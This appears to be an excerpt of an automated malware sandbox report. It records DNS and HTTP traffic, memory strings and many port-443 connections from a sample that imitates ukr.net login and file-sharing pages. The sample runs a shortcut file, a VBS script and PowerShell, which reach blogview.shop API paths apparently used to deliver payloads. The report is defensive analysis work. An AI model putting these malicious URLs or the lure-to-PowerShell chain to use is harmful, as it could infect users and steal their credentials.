Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net

Source: global traffic	DNS traffic detected: DNS query: edisk.ukr.net
Source: global traffic	DNS traffic detected: DNS query: accounts.ukr.net
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: poll0.fwdcdn.com
Source: global traffic	DNS traffic detected: DNS query: blogview.shop

Source: unknown

HTTP traffic detected: POST /api/v1/token/verification/acquire HTTP/1.1Host: accounts.ukr.netConnection: keep-aliveContent-Length: 9sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-Type: application/jsonX-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: https://accounts.ukr.netSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9EpbAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: powershell.exe, 00000008.00000002.2207163569.00000000029E5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2173479740.00000000032B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: powershell.exe, 00000009.00000002.2174458161.0000000005780000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: powershell.exe, 00000008.00000002.2225719291.000000000588B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2176804366.00000000062FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2882000495.00000289B5CFD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2924508148.00000289C47D5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2924508148.00000289C4693000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000F.00000002.2882000495.00000289B485D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000009.00000002.2174458161.00000000053F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000008.00000002.2213637628.0000000004841000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2174458161.00000000052A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2882000495.00000289B4631000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.3999771576.00000233AF5CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000009.00000002.2174458161.00000000053F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 0000000F.00000002.2882000495.00000289B485D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000009.00000002.2173775962.0000000003497000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.coR
Source: powershell.exe, 0000000F.00000002.2882000495.00000289B4631000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.3999771576.00000233AF5CB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.3999771576.00000233AF5F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000008.00000002.2213637628.0000000004841000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2174458161.00000000052A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000009.00000002.2174458161.00000000053F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: chromecache_127.2.dr, chromecache_154.2.dr, chromecache_119.2.dr	String found in binary or memory: https://apps.apple.com/ua/app/
Source: cmd.exe, 00000006.00000002.2252237122.0000000000695000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blogview.sh
Source: powershell.exe, 0000000F.00000002.2882000495.00000289B5C2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://blogview.shop
Source: powershell.exe, 0000000F.00000002.2882000495.00000289B5CFD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2882000495.00000289B5CF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://blogview.shop/api/values/
Source: powershell.exe, 00000014.00000002.3998839804.00000233ADD20000.00000004.00000020.00020000.00000000.sdmp, Libraries.vbs.8.dr	String found in binary or memory: https://blogview.shop/api/values/38303529143438199171/refresh199/
Source: powershell.exe, 0000000F.00000002.2882000495.00000289B5C2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://blogview.shop/api/values/38303529143438199171/refresh199/5816370.txt
Source: powershell.exe, 00000014.00000002.3998839804.00000233ADD20000.00000004.00000020.00020000.00000000.sdmp, Libraries.vbs.8.dr	String found in binary or memory: https://blogview.shop/api/values/refresh199
Source: unarchiver.exe, 00000003.00000002.2264129387.0000000002D85000.00000004.00000800.00020000.00000000.sdmp, unarchiver.exe, 00000003.00000002.2264129387.0000000002D58000.00000004.00000800.00020000.00000000.sdmp, unarchiver.exe, 00000003.00000002.2264129387.0000000002D6B000.00000004.00000800.00020000.00000000.sdmp, unarchiver.log.3.dr	String found in binary or memory: https://blogview.shop/api/values/vi
Source: powershell.exe, 00000008.00000002.2213637628.0000000004ECF000.00000004.00000800.00020000.00000000.sdmp, 748-929-24.html.lnk.4.dr	String found in binary or memory: https://blogview.shop/api/values/view/748-929-24.txt
Source: powershell.exe, 0000000F.00000002.2924508148.00000289C4693000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000F.00000002.2924508148.00000289C4693000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000F.00000002.2924508148.00000289C4693000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: g3Wg5cdIcT.html	String found in binary or memory: https://edisk.ukr.net
Source: powershell.exe, 0000000F.00000002.2882000495.00000289B485D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000000F.00000002.2882000495.00000289B5366000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 0000000F.00000002.2880995377.00000289B455B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://go.microsoft.co0
Source: chromecache_127.2.dr, chromecache_119.2.dr	String found in binary or memory: https://mail.ukr.net/terms_$
Source: chromecache_154.2.dr	String found in binary or memory: https://mail.ukr.net/terms_uk.html
Source: powershell.exe, 00000008.00000002.2225719291.000000000588B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2176804366.00000000062FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2882000495.00000289B5CFD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2924508148.00000289C47D5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2924508148.00000289C4693000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: chromecache_127.2.dr, chromecache_154.2.dr, chromecache_119.2.dr	String found in binary or memory: https://play.google.com/store/apps/details?id=net.ukr.mail
Source: chromecache_127.2.dr, chromecache_119.2.dr	String found in binary or memory: https://www.ukr.net$
Source: chromecache_154.2.dr	String found in binary or memory: https://www.ukr.net/terms/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
